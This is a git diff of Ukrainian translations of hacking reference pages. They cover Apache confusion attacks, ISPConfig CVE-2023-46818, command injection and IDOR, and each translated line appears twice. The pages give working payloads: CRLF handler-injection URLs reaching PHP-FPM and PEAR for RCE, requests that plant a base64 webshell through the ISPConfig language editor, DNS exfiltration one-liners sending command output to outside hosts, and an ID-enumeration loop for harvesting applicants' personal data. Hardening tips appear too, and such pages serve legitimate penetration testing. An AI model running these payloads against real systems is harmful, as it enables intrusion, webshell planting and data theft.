Це відбувається тому, що за замовчуванням PHP-FPM отримує URL, що закінчуються на `.php`, наприклад `http://server/admin.php%3Fooo.php`, і оскільки PHP-FPM видаляє все після символу `?`, попередній URL дозволить завантажити `/admin.php`, навіть якщо попереднє правило це забороняло.
Це тому, що за замовчуванням PHP-FPM отримує URL, що закінчуються на `.php`, наприклад `http://server/admin.php%3Fooo.php`, і оскільки PHP-FPM видаляє все, що йде після символу `?`, попередній URL дозволить завантажити `/admin.php`, навіть якщо попереднє правило це забороняло.
### Плутанина з DocumentRoot
```bash
DocumentRoot /var/www/html
RewriteRule ^/html/(.*)$ /$1.html
```
Цікавий факт про Apache: попередній rewrite намагатиметься звернутися до файлу як із documentRoot, так і з root. Тому запит до `https://server/abouth.html` перевірить наявність файлу в `/var/www/html/about.html` та `/about.html` у файловій системі. Це, по суті, може бути використано для доступу до файлів у файловій системі.
A fun fact about Apache is that the previous rewrite will try to access the file from both the documentRoot and from root. So, a request to `https://server/abouth.html` will check for the file in `/var/www/html/about.html` and `/about.html` in the file system. Which basically can be abused to access files in the file system.
#### **Розкриття вихідного коду на стороні сервера**
- **Розкриття вихідного коду CGI**
Достатньо додати %3F наприкінці, щоб leak вихідний код CGI-модуля:
Достатньо просто додати %3F в кінці, щоб leak вихідний код cgi модуля:
```bash
curl http://server/cgi-bin/download.cgi
# the processed result from download.cgi
@ -123,9 +123,9 @@ curl http://server/html/usr/lib/cgi-bin/download.cgi%3F
# ...
# # the source code of download.cgi
```
- **Розкриття вихідного коду PHP**
- **Розкриття PHP Source Code**
Якщо сервер має кілька доменів, і один із них — статичний домен, цим можна зловживати для обходу файлової системи та leak php code:
Якщо на сервері є кілька доменів, один із яких є статичним, це можна використати для обходу файлової системи та leak php code:
```bash
# Leak the config.php file of the www.local domain from the static.local domain
curl http://www.local/var/www.local/config.php%3F -H "Host: static.local"
@ -133,52 +133,52 @@ curl http://www.local/var/www.local/config.php%3F -H "Host: static.local"
```
#### **Local Gadgets Manipulation**
Основна проблема попередньої атаки полягає в тому, що за замовчуванням більшість доступів до файлової системи буде заборонено, як у Apache HTTP Servers [configuration template](https://github.com/apache/httpd/blob/trunk/docs/conf/httpd.conf.in#L115):
Головна проблема з попереднім attack полягає в тому, що за замовчуванням більшість доступу до filesystem буде заборонено, як у Apache HTTP Servers [configuration template](https://github.com/apache/httpd/blob/trunk/docs/conf/httpd.conf.in#L115):
```xml
<Directory />
AllowOverride None
Require all denied
</Directory>
```
Однак, [Debian/Ubuntu](https://sources.debian.org/src/apache2/2.4.62-1/debian/config-dir/apache2.conf.in/#L165) операційні системи за замовчуванням дозволяють `/usr/share`:
Однак [Debian/Ubuntu](https://sources.debian.org/src/apache2/2.4.62-1/debian/config-dir/apache2.conf.in/#L165) операційні системи за замовчуванням дозволяють `/usr/share`:
```xml
<Directory /usr/share>
AllowOverride None
Require all granted
</Directory>
```
Отже, буде можливо **зловживати файлами, розташованими всередині `/usr/share` в цих дистрибутивах.**
Тому можливо зловживати файлами, розташованими всередині `/usr/share` у цих дистрибутивах.
**Local Gadget to Information Disclosure**
- **Apache HTTP Server** з **websocketd** може виставляти скрипт **dump-env.php** у **/usr/share/doc/websocketd/examples/php/**, який може привести до leak чутливих змінних середовища.
- Сервери з **Nginx** або **Jetty** можуть виставляти чутливу інформацію веб-додатків (наприклад, **web.xml**) через їхні стандартні web-корені, розміщені під **/usr/share**:
- **Apache HTTP Server** з **websocketd** може виставляти скрипт **dump-env.php** за шляхом **/usr/share/doc/websocketd/examples/php/**, який може leak чутливі змінні оточення.
- Сервери з **Nginx** або **Jetty** можуть виставляти чутливу інформацію веб-застосунків (наприклад, **web.xml**) через свої стандартні web root'и, розміщені під **/usr/share**:
- **/usr/share/nginx/html/**
- **/usr/share/jetty9/etc/**
- **/usr/share/jetty9/webapps/**
**Local Gadget to XSS**
- На Ubuntu Desktop з встановленим **LibreOffice**, експлуатація функції переключення мови у файлах довідки може привести до **Cross-Site Scripting (XSS)**. Маніпулювання URL на **/usr/share/libreoffice/help/help.html** може перенаправити на шкідливі сторінки або старі версії через **unsafe RewriteRule**.
- На Ubuntu Desktop з встановленим **LibreOffice**, використання можливості перемикання мови у help files може призвести до **Cross-Site Scripting (XSS)**. Маніпулювання URL у **/usr/share/libreoffice/help/help.html** може перенаправляти на шкідливі сторінки або старі версії через небезпечний RewriteRule.
**Local Gadget to LFI**
- Якщо встановлено PHP або певні фронтенд-пакети, як-от **JpGraph** або **jQuery-jFeed**, їхні файли можуть бути використані для читання чутливих файлів, наприклад **/etc/passwd**:
- Якщо PHP або певні front-end пакети, такі як **JpGraph** або **jQuery-jFeed**, встановлені, їхні файли можна використати для читання чутливих файлів, наприклад **/etc/passwd**:
- **/usr/share/doc/libphp-jpgraph-examples/examples/show-source.php**
- **/usr/share/javascript/jquery-jfeed/proxy.php**
- **/usr/share/moodle/mod/assignment/type/wims/getcsv.php**
**Local Gadget to SSRF**
- Використовуючи **MagpieRSS's magpie_debug.php** у **/usr/share/php/magpierss/scripts/magpie_debug.php**, легко створити SSRF-вразливість, що дає шлях до подальших експлойтів.
- Використовуючи **MagpieRSS**'s **magpie_debug.php** за шляхом **/usr/share/php/magpierss/scripts/magpie_debug.php**, можна легко створити вразливість SSRF, що відкриває шлях до подальших експлойтів.
**Local Gadget to RCE**
- Можливості для **Remote Code Execution (RCE)** широкі — вразливі інсталяції, такі як застарілий **PHPUnit** або **phpLiteAdmin**, можна використати для виконання довільного коду, що демонструє великий потенціал маніпуляцій локальними гаджетами.
- Можливостей для **Remote Code Execution (RCE)** дуже багато — вразливі інсталяції, такі як застарілий **PHPUnit** або **phpLiteAdmin**, можуть бути використані для виконання довільного коду, що демонструє широкий потенціал маніпуляції локальними гаджетами.
#### **Jailbreak from Local Gadgets**
Також можливо виконати jailbreak з дозволених папок, слідуючи симлінкам, створеним встановленим ПЗ у цих папках, наприклад:
Також можливий Jailbreak з дозволених папок, слідуючи по symlinks, створених встановленим ПО в цих папках, наприклад:
- **Cacti Log**: `/usr/share/cacti/site/` -> `/var/log/cacti/`
- **Solr Data**: `/usr/share/solr/data/` -> `/var/lib/solr/data`
@ -186,55 +186,55 @@ Require all granted
- **MediaWiki Config**: `/usr/share/mediawiki/config/` -> `/var/lib/mediawiki/config/`
- **SimpleSAMLphp Config**: `/usr/share/simplesamlphp/config/` -> `/etc/simplesamlphp/`
Крім того, зловживання симлінками дозволяло отримати **RCE in Redmine.**
Більше того, зловживання symlinks дозволило отримати **RCE** у Redmine.
### Handler Confusion <a href="#id-3-handler-confusion" id="id-3-handler-confusion"></a>
Ця атака експлуатує накладання функціональності між директивами `AddHandler` і `AddType`, які обидві можуть бути використані для **увімкнення обробки PHP**. Спочатку ці директиви впливали на різні поля (`r->handler` та `r->content_type` відповідно) в внутрішній структурі сервера. Проте через застарілий код Apache обробляє ці директиви взаємозамінно за певних умов, перетворюючи `r->content_type` в `r->handler`, якщо перше встановлено, а друге — ні.
Ця атака експлуатує перекриття функціональності між директивами `AddHandler` і `AddType`, які обидві можуть бути використані для **увімкнення обробки PHP**. Спочатку ці директиви впливали на різні поля (`r->handler` та `r->content_type` відповідно) у внутрішній структурі сервера. Однак через успадкований код Apache обробляє ці директиви взаємозамінно за певних умов, перетворюючи `r->content_type` у `r->handler`, якщо перше встановлено, а друге — ні.
Більше того, в Apache HTTP Server (`server/config.c#L420`), якщо `r->handler` порожній перед виконанням `ap_run_handler()`, сервер **використовує `r->content_type` як handler**, фактично роблячи `AddType` і `AddHandler` ідентичними за ефектом.
Крім того, в Apache HTTP Server (`server/config.c#L420`), якщо `r->handler` порожній перед виконанням `ap_run_handler()`, сервер **використовує `r->content_type` як handler**, фактично роблячи `AddType` і `AddHandler` ідентичними за ефектом.
#### **Overwrite Handler to Disclose PHP Source Code**
У [**цьому доповіді**](https://web.archive.org/web/20210909012535/https://zeronights.ru/wp-content/uploads/2021/09/013_dmitriev-maksim.pdf) була показана вразливість, коли некоректний `Content-Length`, надісланий клієнтом, може призвести до того, що Apache помилково **поверне PHP-джерело**. Це сталося через проблему обробки помилок в ModSecurity і Apache Portable Runtime (APR), де подвійна відповідь призводить до перезапису `r->content_type` на `text/html`.\
Оскільки ModSecurity некоректно обробляє значення, він поверне PHP-код і не інтерпретує його.
У [**цій доповіді**](https://web.archive.org/web/20210909012535/https://zeronights.ru/wp-content/uploads/2021/09/013_dmitriev-maksim.pdf) була представлена вразливість, коли некоректний `Content-Length`, надісланий клієнтом, може спричинити помилкове **повернення PHP source code** сервером. Причина полягала в проблемі обробки помилок у ModSecurity та Apache Portable Runtime (APR), коли подвійна відповідь призводить до перезапису `r->content_type` на `text/html`.\
Оскільки ModSecurity не правильно обробляє значення повернення, воно повертає PHP-код і не інтерпретує його.
#### **Overwrite Handler to XXXX**
TODO: Orange ще не розкрив цю вразливість
TODO: Orange ще не розкрила цю вразливість
### **Invoke Arbitrary Handlers**
Якщо атакуючий зможе контролювати заголовок **`Content-Type`** у відповіді сервера, він зможе **викликати довільні модульні обробники**. Однак до того моменту, коли атакуючий це контролює, більшість обробки запиту вже буде виконано. Проте можна **перезапустити процес запиту, зловживаючи заголовком `Location`**, оскільки якщо повернений `Status` — 200 і заголовок `Location` починається з `/`, відповідь обробляється як Server-Side Redirection і має бути повторно оброблена.
Якщо атакувальник може контролювати заголовок **`Content-Type`** у відповіді сервера, він зможе **викликати довільні обробники модулів**. Проте до моменту, коли атакуючий це контролює, більша частина процесу обробки запиту вже буде виконана. Однак можливо **перезапустити процес обробки запиту, зловживаючи заголовком `Location`**, оскільки якщо повернений `Status` — 200 і заголовок `Location` починається з `/`, відповідь трактуються як Server-Side Redirection і повинна бути оброблена
Відповідно до [RFC 3875](https://datatracker.ietf.org/doc/html/rfc3875) (специфікація про CGI) у [Section 6.2.2](https://datatracker.ietf.org/doc/html/rfc3875#section-6.2.2) визначається поведінка Local Redirect Response:
Згідно з [RFC 3875](https://datatracker.ietf.org/doc/html/rfc3875) (специфікація про CGI) у [Section 6.2.2](https://datatracker.ietf.org/doc/html/rfc3875#section-6.2.2) визначено поведінку Local Redirect Response:
> CGI script can return a URI path and query-string (local-pathquery) for a local resource in a Location header field. This indicates to the server that it should reprocess the request using the path specified.
> The CGI script can return a URI path and query-string (local-pathquery) for a local resource in a Location header field. This indicates to the server that it should reprocess the request using the path specified.
Отже, для виконання цієї атаки потрібно одну з наступних вразливостей:
Отже, для виконання цієї атаки потрібна одна з наступних вразливостей:
- CRLF Injection в заголовках відповіді CGI
- SSRF із повним контролем над заголовками відповіді
- CRLF Injection у заголовках відповіді CGI
- SSRF з повним контролем над заголовками відповіді
#### **Arbitrary Handler to Information Disclosure**
Наприклад, `/server-status` має бути доступний лише локально:
Наприклад `/server-status` має бути доступним лише локально:
```xml
<Location /server-status>
SetHandler server-status
Require local
</Location>
```
Можна отримати до нього доступ, встановивши `Content-Type` в `server-status` та заголовок Location, що починається з `/`
Можна отримати до нього доступ, встановивши `Content-Type` на `server-status` та заголовок Location, що починається з `/`
```
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo %0d%0a
Content-Type:server-status %0d%0a
%0d%0a
```
#### **Arbitrary Handler to Full SSRF**
#### **Від довільного обробника до повного SSRF**
Перенаправлення до `mod_proxy` для доступу до будь-якого протоколу на будь-якому URL:
Перенаправлення на `mod_proxy` для доступу до будь-якого протоколу за будь-яким URL:
```
http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo %0d%0a
@ -243,20 +243,20 @@ http://example.com/%3F
%0d%0a
%0d%0a
```
Однак заголовок `X-Forwarded-For` додається, що перешкоджає доступу до кінцевих точок метаданих хмари.
Однак додається заголовок `X-Forwarded-For`, який перешкоджає доступу до cloud metadata endpoints.
#### **Довільний handler для доступу до локального Unix Domain Socket**
#### **Довільний обробник для доступу до локального Unix Domain Socket**
Отримати доступ до локального Unix Domain Socket PHP-FPM для виконання PHP backdoor, розташованого в `/tmp/`:
Отримайте доступ до локального Unix Domain Socket PHP-FPM, щоб виконати PHP backdoor, розташований у `/tmp/`:
```
http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/tmp/ooo.php %0d%0a
%0d%0a
```
#### **Довільний обробник для RCE**
#### **Довільний handler для RCE**
Офіційний образ [PHP Docker](https://hub.docker.com/_/php) містить PEAR (`Pearcmd.php`) — інструмент управління PHP-пакетами з командного рядка, яким можна зловживати для отримання RCE:
Офіційний образ [PHP Docker](https://hub.docker.com/_/php) включає PEAR (`Pearcmd.php`) — інструмент управління PHP-пакетами через командний рядок, яким можна зловживати для отримання RCE:
```
http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}

View File

@ -2,38 +2,38 @@
{{#include ../../banners/hacktricks-training.md}}
## Overview
## Огляд
ISPConfig — це панель управління хостингом з відкритим кодом. Старіші збірки 3.2.x включали функцію редактора мовних файлів, яка при увімкненні для суперадміністратора дозволяла впровадження довільного PHP-коду через неправильно сформований запис перекладу. Це може призвести до RCE в контексті веб-сервера і, залежно від того, як виконується PHP, до підвищення привілеїв.
ISPConfig — панель керування хостингом з відкритим вихідним кодом. У старіших збірках 3.2.x була функція редактора мовних файлів, яка при увімкненні для суперадміністратора дозволяла довільну ін’єкцію PHP-коду через пошкоджений запис перекладу. Це може призвести до RCE в контексті веб-сервера і, залежно від способу виконання PHP, до privilege escalation.
Key default paths:
- Web root often at `/var/www/ispconfig` when served with `php -S` or via Apache/nginx.
- Admin UI reachable on the HTTP(S) vhost (sometimes bound to localhost only; use SSH port-forward if needed).
Ключові шляхи за замовчуванням:
- Корінь веб-сервера зазвичай знаходиться в `/var/www/ispconfig` при обслуговуванні через `php -S` або через Apache/nginx.
- Admin UI доступний на HTTP(S) vhost (іноді прив'язаний лише до localhost; за потреби використайте SSH port-forward).
Tip: If the panel is bound locally (e.g. `127.0.0.1:8080`), forward it:
Порада: Якщо панель прив'язана локально (наприклад, `127.0.0.1:8080`), перенаправте її:
```bash
ssh -L 9001:127.0.0.1:8080 user@target
# then browse http://127.0.0.1:9001
```
## Редактор мов — ін'єкція PHP коду (CVE-2023-46818)
## Language editor PHP code injection (CVE-2023-46818)
- Постраждалі: ISPConfig до 3.2.11 (виправлено в 3.2.11p1)
- Affected: ISPConfig up to 3.2.11 (fixed in 3.2.11p1)
- Preconditions:
- Login as the built-in superadmin account `admin` (other roles are not affected according to the vendor)
- Редактор мов має бути увімкнений: `admin_allow_langedit=yes` в `/usr/local/ispconfig/security/security_settings.ini`
- Language editor must be enabled: `admin_allow_langedit=yes` in `/usr/local/ispconfig/security/security_settings.ini`
- Impact: Authenticated admin can inject arbitrary PHP that is written into a language file and executed by the application, achieving RCE in the web context
References: NVD entry CVE-2023-46818 and vendor advisory link in the References section below.
### Ручний сценарій експлуатації
### Manual exploitation flow
1) Open/create a language file to obtain CSRF tokens
Надішліть перший POST, щоб ініціалізувати форму та розпарсити поля CSRF з HTML-відповіді (`csrf_id`, `csrf_key`). Приклад шляху запиту: `/admin/language_edit.php`.
Send a first POST to initialize the form and parse the CSRF fields from the HTML response (`csrf_id`, `csrf_key`). Example request path: `/admin/language_edit.php`.
2) Inject PHP via records[] and save
Надішліть другий POST, що містить поля CSRF та шкідливий запис перекладу. Minimal command-execution probes:
Submit a second POST including the CSRF fields and a malicious translation record. Minimal command-execution probes:
```http
POST /admin/language_edit.php HTTP/1.1
Host: 127.0.0.1:9001
@ -42,17 +42,17 @@ Cookie: ispconfig_auth=...
lang=en&module=admin&file=messages&csrf_id=<id>&csrf_key=<key>&records[]=<?php echo shell_exec('id'); ?>
```
Out-of-band тест (спостереження ICMP):
Позаканальний тест (спостереження ICMP):
```http
records[]=<?php echo shell_exec('ping -c 1 10.10.14.6'); ?>
```
3) Записати файли й розмістити webshell
3) Створити файли та розмістити webshell
Використайте `file_put_contents`, щоб створити файл у шляху, доступному через веб (наприклад, `admin/`):
Використовуйте `file_put_contents` для створення файлу в веб-доступному шляху (наприклад, `admin/`):
```http
records[]=<?php file_put_contents('admin/pwn.txt','owned'); ?>
```
Потім напишіть простий webshell, використовуючи base64, щоб уникнути небажаних символів у тілі POST:
Потім напиши простий webshell, використовуючи base64, щоб уникнути небажаних символів у POST body:
```http
records[]=<?php file_put_contents('admin/shell.php', base64_decode('PD9waHAgc3lzdGVtKCRfUkVRVUVTVFsiY21kIl0pIDsgPz4K')); ?>
```
@ -60,28 +60,28 @@ records[]=<?php file_put_contents('admin/shell.php', base64_decode('PD9waHAgc3lz
```bash
curl 'http://127.0.0.1:9001/admin/shell.php?cmd=id'
```
Якщо PHP виконується від імені root (наприклад, через `php -S 127.0.0.1:8080`, запущений від root), це призводить до негайного root RCE. В іншому випадку ви отримуєте виконання коду від імені користувача веб-сервера.
Якщо PHP запускається від імені root (наприклад, через `php -S 127.0.0.1:8080` запущений root), це дає негайний root RCE. В іншому випадку ви отримуєте виконання коду від імені користувача веб-сервера.
### Python PoC
Готовий до використання exploit автоматизує обробку token та доставку payload:
- https://github.com/bipbopbup/CVE-2023-46818-python-exploit
Готовий до використання експлоїт автоматизує token handling та payload delivery:
- [https://github.com/bipbopbup/CVE-2023-46818-python-exploit](https://github.com/bipbopbup/CVE-2023-46818-python-exploit)
Приклад запуску:
```bash
python3 cve-2023-46818.py http://127.0.0.1:9001 admin <password>
```
### Посилення безпеки
### Посилення захисту
- Оновіть до 3.2.11p1 або новішої версії
- Вимкніть редактор мови, якщо це не є вкрай необхідним:
- Оновіть до 3.2.11p1 або пізнішої версії
- Вимкніть редактор мов, якщо це не суворо необхідно:
```
admin_allow_langedit=no
```
- Не запускайте панель під root; налаштуйте PHP-FPM або веб-сервер так, щоб скидати привілеї
- Забезпечте надійну автентифікацію для вбудованого облікового запису `admin`
- Уникайте запуску панелі як root; налаштуйте PHP-FPM або веб-сервер так, щоб скидати привілеї
- Забезпечте надійну аутентифікацію для вбудованого облікового запису `admin`
## Посилання
## References
- [ISPConfig 3.2.11p1 Released (fixes language editor code injection)](https://www.ispconfig.org/blog/ispconfig-3-2-11p1-released/)
- [CVE-2023-46818 NVD](https://nvd.nist.gov/vuln/detail/CVE-2023-46818)

View File

@ -2,13 +2,13 @@
{{#include ../banners/hacktricks-training.md}}
## What is command Injection?
## Що таке command Injection?
A **command injection** дозволяє виконувати довільні команди операційної системи атакуючим на сервері, що хостить застосунок. Внаслідок цього застосунок та всі його дані можуть бути повністю скомпрометовані. Виконання таких команд зазвичай дозволяє атакуючому отримати неавторизований доступ або контроль над середовищем застосунку та підлеглою системою.
A **command injection** дозволяє атакуючому виконувати довільні команди операційної системи на сервері, що хостить застосунок. У результаті застосунок та всі його дані можуть бути повністю скомпрометовані. Виконання цих команд зазвичай дозволяє атакуючому отримати несанкціонований доступ або контроль над середовищем застосунку та підлягаючою системою.
### Контекст
Залежно від того, **де підставляється ваш ввід**, може знадобитися **завершити цитований контекст** (використовуючи `"` або `'`) перед командами.
Залежно від того, **куди вставляється ваш ввід**, може знадобитися **закрити контекст у лапках** (використовуючи `"` або `'`) перед командами.
## Command Injection/Execution
```bash
@ -30,9 +30,10 @@ ls${LS_COLORS:10:1}${IFS}id # Might be useful
> /var/www/html/out.txt #Try to redirect the output to a file
< /etc/passwd #Try to send some input to the command
```
### **Обмеження** Bypasses
### **Limition** Bypasses
Якщо ви намагаєтеся виконати **arbitrary commands inside a linux machine**, вам буде цікаво прочитати про ці **Bypasses:**
Якщо ви намагаєтеся виконати **довільні команди на linux-машині**, вам буде цікаво прочитати про ці **Bypasses:**
{{#ref}}
../linux-hardening/bypass-bash-restrictions/
@ -46,7 +47,7 @@ vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod
```
### Параметри
Ось топ-25 параметрів, які можуть бути вразливими до code injection та подібних RCE вразливостей (з [link](https://twitter.com/trbughunters/status/1283133356922884096)):
Ось топ-25 параметрів, які можуть бути вразливі до code injection та подібних RCE вразливостей (з [link](https://twitter.com/trbughunters/status/1283133356922884096)):
```
?cmd={payload}
?exec={payload}
@ -76,7 +77,7 @@ vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod
```
### Time based data exfiltration
Витяг даних: char by char
Витягнення даних: символ за символом
```
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
real 0m5.007s
@ -88,9 +89,9 @@ real 0m0.002s
user 0m0.000s
sys 0m0.000s
```
### DNS based data exfiltration
### Екфільтрація даних через DNS
На основі інструменту з `https://github.com/HoLyVieR/dnsbin`, також розміщеного на dnsbin.zhack.ca
На основі інструмента з `https://github.com/HoLyVieR/dnsbin`, також розміщеного на dnsbin.zhack.ca
```
1. Go to http://dnsbin.zhack.ca/
2. Execute a simple 'ls'
@ -100,12 +101,12 @@ for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
```
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)
```
Онлайн інструменти для перевірки DNS based data exfiltration:
Онлайн-інструменти для перевірки DNS based data exfiltration:
- dnsbin.zhack.ca
- pingb.in
### Filtering bypass
### Обхід фільтрації
#### Windows
```
@ -121,7 +122,7 @@ powershell C:**2\n??e*d.*? # notepad
### Node.js `child_process.exec` vs `execFile`
Під час аудиту бекендів на JavaScript/TypeScript ви часто зустрінете Node.js `child_process` API.
Під час аудиту бекендів на JavaScript/TypeScript ви часто зіткнетеся з Node.js `child_process` API.
```javascript
// Vulnerable: user-controlled variables interpolated inside a template string
const { exec } = require('child_process');
@ -129,9 +130,9 @@ exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(pay
/* … */
});
```
`exec()` запускає **shell** (`/bin/sh -c`), тому будь-який символ, який має спеціальне значення для shell (back-ticks, `;`, `&&`, `|`, `$()`, …) призведе до **command injection**, коли вхідні дані користувача конкатенуються в рядок.
`exec()` запускає **shell** (`/bin/sh -c`), тому будь-який символ, який має спеціальне значення для shell (back-ticks, `;`, `&&`, `|`, `$()`, …) призведе до **command injection**, коли вхід користувача конкатенується в рядок.
**Запобігання:** використовуйте `execFile()` (або `spawn()` без опції `shell`) і передавайте **кожен аргумент як окремий елемент масиву**, щоб shell не використовувався:
**Пом'якшення:** використовуйте `execFile()` (або `spawn()` без опції `shell`) і передавайте **кожен аргумент як окремий елемент масиву**, щоб shell не був задіяний:
```javascript
const { execFile } = require('child_process');
execFile('/usr/bin/do-something', [
@ -139,16 +140,16 @@ execFile('/usr/bin/do-something', [
'--payload', JSON.stringify(payload)
]);
```
Реальний випадок: *Synology Photos* ≤ 1.7.0-0794 був вразливим через неаутентифіковану WebSocket-подію, яка поміщала контрольовані атакуючим дані в `id_user`, які пізніше були включені у виклик `exec()`, що призвело до RCE (Pwn2Own Ireland 2024).
Реальний випадок: *Synology Photos* ≤ 1.7.0-0794 був вразливим через неавторизовану подію WebSocket, яка розміщувала дані, контрольовані атакуючим, в `id_user`, які пізніше були вбудовані у виклик `exec()`, що призвело до RCE (Pwn2Own Ireland 2024).
## Список для виявлення Brute-Force
## Brute-Force Detection List
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_injection.txt
{{#endref}}
## Посилання
## Джерела
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection)
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection)

View File

@ -2,23 +2,23 @@
{{#include ../banners/hacktricks-training.md}}
IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) виникає, коли веб- або API endpoint розкриває або приймає ідентифікатор, що контролюється користувачем, який використовується **безпосередньо** для доступу до внутрішнього об'єкта **без перевірки, чи має викликач дозвіл** на доступ/зміну цього об'єкта.
Успішна експлуатація зазвичай дозволяє горизонтальне або вертикальне підвищення привілеїв, наприклад читання або зміну даних інших користувачів, а в гіршому випадку — повний захоплення облікового запису або масове виведення даних.
IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) виникає, коли веб- або API-ендпойнт розкриває або приймає керований користувачем ідентифікатор, який використовується **безпосередньо** для доступу до внутрішнього об'єкта **без перевірки**, чи має викликач права на доступ/зміну цього об'єкта.
Успішна експлуатація зазвичай дозволяє горизонтальне або вертикальне підвищення привілеїв — наприклад читання або зміну даних інших користувачів і, у найгіршому випадку, повний takeover акаунта або масову ексфільтрацію даних.
---
## 1. Виявлення потенційних IDOR
1. Шукайте **параметри, які посилаються на об'єкт**:
* Path: `/api/user/1234`, `/files/550e8400-e29b-41d4-a716-446655440000`
* Query: `?id=42`, `?invoice=2024-00001`
* Body / JSON: `{"user_id": 321, "order_id": 987}`
* Headers / Cookies: `X-Client-ID: 4711`
2. Надавайте перевагу endpoint'ам, які **читають або оновлюють** дані (`GET`, `PUT`, `PATCH`, `DELETE`).
* Шлях: `/api/user/1234`, `/files/550e8400-e29b-41d4-a716-446655440000`
* Параметри запиту: `?id=42`, `?invoice=2024-00001`
* Тіло / JSON: `{"user_id": 321, "order_id": 987}`
* Заголовки / Cookies: `X-Client-ID: 4711`
2. Надавайте перевагу ендпойнтам, які **читають або оновлюють** дані (`GET`, `PUT`, `PATCH`, `DELETE`).
3. Звертайте увагу, коли ідентифікатори **послідовні або передбачувані** — якщо ваш ID `64185742`, то `64185741` ймовірно існує.
4. Досліджуйте приховані або альтернативні потоки (наприклад посилання *"Paradox team members"* на сторінках входу), які можуть відкрити додаткові API.
5. Використовуйте **аутентифіковану сесію з низькими привілеями** і змінюйте тільки ID, **зберігаючи той самий token/cookie**. Відсутність помилки авторизації зазвичай є ознакою IDOR.
4. Досліджуйте приховані або альтернативні потоки (наприклад *"Paradox team members"* посилання на сторінках входу), які можуть відкрити додаткові API.
5. Використовуйте **аутентифіковану сесію з низькими привілеями** і змінюйте лише ID, **зберігаючи той самий token/cookie**. Відсутність помилки авторизації зазвичай є ознакою IDOR.
### Швидке ручне маніпулювання (Burp Repeater)
### Швидка ручна модифікація (Burp Repeater)
```
PUT /api/lead/cem-xhr HTTP/1.1
Host: www.example.com
@ -27,7 +27,7 @@ Content-Type: application/json
{"lead_id":64185741}
```
### Автоматизована енумерація (Burp Intruder / curl loop)
### Автоматизоване перерахування (Burp Intruder / curl loop)
```bash
for id in $(seq 64185742 64185700); do
curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \
@ -38,33 +38,33 @@ done
```
---
### Error-response oracle for user/file enumeration
### Оракул помилок для перелічення користувачів/файлів
Коли download endpoint приймає одночасно username і filename (наприклад `/view.php?username=<u>&file=<f>`), тонкі відмінності в повідомленнях про помилки часто створюють oracle:
Коли download endpoint приймає одночасно username і filename (наприклад, `/view.php?username=<u>&file=<f>`), тонкі відмінності в повідомленнях про помилку часто створюють оракул:
- Неіснуючий username → "User not found"
- Невірний filename, але валідне розширення → "File does not exist" (іноді також перераховує доступні файли)
- Невірне розширення → помилка валідації
- Неправильний filename, але валідне розширення → "File does not exist" (іноді також перелічує доступні файли)
- Неправильне розширення → validation error
У будь-якій аутентифікованій сесії ви можете fuzzити параметр username, тримаючи benign filename, і фільтрувати за рядком "User not found", щоб виявити валідних користувачів:
Маючи будь-яку аутентифіковану сесію, ви можете fuzz параметр username, утримуючи benign filename, і фільтрувати за рядком "user not found", щоб виявити валідних користувачів:
```bash
ffuf -u 'http://target/view.php?username=FUZZ&file=test.doc' \
-b 'PHPSESSID=<session-cookie>' \
-w /opt/SecLists/Usernames/Names/names.txt \
-fr 'User not found'
```
Після того, як виявлено дійсні імена користувачів, запитуйте конкретні файли безпосередньо (наприклад, `/view.php?username=amanda&file=privacy.odt`). Цей шаблон часто призводить до неавторизованого розкриття документів інших користувачів та credential leakage.
Після того як виявлено дійсні імена користувачів, робіть запити конкретних файлів напряму (наприклад, `/view.php?username=amanda&file=privacy.odt`). Така схема часто призводить до несанкціонованого розголошення документів інших користувачів та credential leakage.
---
## 2. Реальний кейс — McHire Chatbot Platform (2025)
## 2. Кейс із реального життя McHire Chatbot Platform (2025)
Під час тестування порталу найму **McHire**, що працює на Paradox.ai, було виявлено наступний IDOR:
Під час оцінки рекрутингового порталу **McHire**, що працює на Paradox.ai, було виявлено наступний IDOR:
* Ендпоінт: `PUT /api/lead/cem-xhr`
* Авторизація: cookie сесії користувача для **any** тестового облікового запису ресторану
* Параметр тіла: `{"lead_id": N}` 8-значний, **послідовний** числовий ідентифікатор
* Endpoint: `PUT /api/lead/cem-xhr`
* Authorization: user session cookie для **будь-якого** тестового облікового запису ресторану
* Body parameter: `{"lead_id": N}` 8-значний, **послідовний** числовий ідентифікатор
Зменшуючи значення `lead_id`, тестер отримав довільні повні **PII** заявників (ім'я, e-mail, телефон, адреса, переваги щодо змін) та споживчий **JWT**, який дозволив session hijacking. Перебирання діапазону `1 64,185,742` виявило приблизно **64 million** записів.
Зменшуючи `lead_id`, тестер отримав довільні **full PII** заявників (ім'я, e-mail, телефон, адреса, переваги щодо змін) та споживацький **JWT**, що дозволяв session hijacking. Перебір діапазону `1 64,185,742` виявив приблизно **64 million** записів.
Proof-of-Concept request:
```bash
@ -72,23 +72,23 @@ curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-d '{"lead_id":64185741}'
```
Combined with **default admin credentials** (`123456:123456`) that granted access to the test account, the vulnerability resulted in a critical, company-wide data breach.
